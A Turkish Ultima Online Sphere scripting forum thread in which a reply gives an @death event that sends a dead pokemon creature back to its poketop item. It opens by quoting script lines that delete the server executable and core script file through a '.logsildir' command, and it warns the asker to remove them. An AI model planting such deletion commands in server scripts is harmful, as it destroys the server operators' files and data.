SERV.DELETEFILE C:\Sphere\Scripts\spheretables.scp
SERV.DELETEFILE C:\Sphere\sphereSvr.exe
return 1


şu kısmı sil yoksa .logsildir yazıp serverine zarar verirler.

Sorunun cevabına gelince, yeni bir event hazırla e_pokemon_genel örneğin. Bu event altında;

Kod:
on=@death
serv.newitem i_poqetop_dolu
new.tag.name <src.name>
new.tag.beysid <src.beysid>
new.tag.color <src.color>
new.tag.bnkstr <src.bnkstr>
new.tag.bnkdex <src.bnkdex>
new.tag.bnkint <src.bnkint>
new.tag.bnkfame <src.bnkfame>
new.tag.bnkkarma <src.bnkkarma>
new.tag.bnkfood <src.food>
new.tag.id <src.beysid>
src.link.bounce // yanlışım yoksa binek mantığı ile çalışıyor pokemonlar aksi taktirde pokemonlara herhangi bir tag ile sahibini kayıt ettirip, src.tag.xx.bounce ile çantaya aldırtabilirsin.
src.act.color <src.color>
link.sysmessage @07ad Pokemonunuz Öldüğü İçin Poketopuna Geri Dönmüştür...
src.remove
return 1 // yaratığın ölmesini engellemek için. Hata verebilir emin değilim denemedim.


Yukarıdaki scripti boş poketopundan yola çıkarak oluşturdum. Umarım işini görür.

Not: Yeni ekleyeceğin eventi her pokemona eklemeyi unutma.


 TheRaskol, Wasabi-san

Yazar

emre11


UO-Dev Üyesi
Skill Title: Apprentice
Online durumu
Toplam Mesaj: 65
Oyun Tarzı: Pvp
Emulatör:
Tecrübe: Player
Yaş: 24
Mesaj #92900   05-08-2017 18:49 GMT    
        
çok teşekkür ederim eline sağlık allah razı olsun.



Sayfalar: 1



Benzer Konular

KonularMesajlarSon gönderenTarih
Ele alınan eşyaya göre çantaya eşya düşürmek5athynas14-08-2018
seti deed olarak çantaya atmak1mahsuni10-02-2017
Binek ölünce item düşmesi6MirroR16-12-2016
Nintendo - Pokemon GO Tanıtım ve indir2M.CANILIK08-07-2016
Ölünce Yell geçme2Alienrage25-03-2015


Keywords:

ultima online, RunUO, ultima online download, sphere scripting, role play, uo grafik, second age ultima, uo loop, macroman, pvp server, server kurulumu, sphere, multool, ml mulls, 56b 55r 55i, htmlgumps, client 4x, client edit, sphere release, osi, rp server, sunucular, ghost mouse, inside uo, kingdom reborn, stygian abyss, uo nasıl oynanır, mondain's legacy, age of shadows, world build, grandmaster, ultima online pvp, player dosyaları, ultima online indir, frp game, RunUO 1.0.0, razor, uo rice, hue editör, skill tools, ultima online patch, axis, world build, verdata, verdata patcher, map editör, gump editör, mul patcher, aos mulls, scriptler, anim edit, anim publish, hues mul, hosting vps, event dialog, account sistemi, skill gain, static yapımı,